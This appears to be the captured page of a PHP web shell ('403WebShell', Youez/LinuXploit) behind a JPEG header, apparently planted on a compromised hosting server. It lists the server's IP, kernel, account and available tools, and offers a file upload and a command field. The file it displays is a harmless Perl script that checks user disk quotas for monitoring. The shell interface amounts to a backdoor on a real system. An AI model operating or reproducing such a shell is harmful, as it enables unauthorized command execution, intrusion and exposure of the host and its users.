����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.222.183.102
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_user_diskspace
#!/usr/bin/env perl
use extreme;
use File::Slurp;
use WHM::Client;

my $whm_cli = WHM::Client->local;
my @critical;
my @warning;
my $exitcode = 0;

my @white_list = read_file('/etc/icinga2/plinc/diskspacewhitelist')
  if -f '/etc/icinga2/plinc/diskspacewhitelist';
chomp @white_list;

my @data = $whm_cli->get_disk_usage()->{accounts}->@*;
exit if !@data;
for my $userinfo (@data) {
    next if $userinfo->{user} =~ /^(billing|root|system|nobody)$/;
    next if $userinfo->{user} ~~ @white_list;
    if ( !$userinfo->{blocks_limit} ) {
        push( @critical, "$userinfo->{user} has unlimited quota\n" );
        next;
    }
    if ( $userinfo->{blocks_used} > $userinfo->{blocks_limit} * 1.2 ) {
        my $limit_mb = $userinfo->{blocks_limit} / 1024;
        my $used_mb = sprintf( "%.2f", $userinfo->{blocks_used} / 1024 );
        push( @warning,
            "$userinfo->{user} uses $used_mb MB out of $limit_mb MB\n" );
    }
}
if (@warning) {
    print @warning;
    $exitcode = 1;
}

if (@critical) {
    print @critical;
    $exitcode = 1;
}

exit $exitcode;

Youez - 2016 - github.com/yon3zu
LinuXploit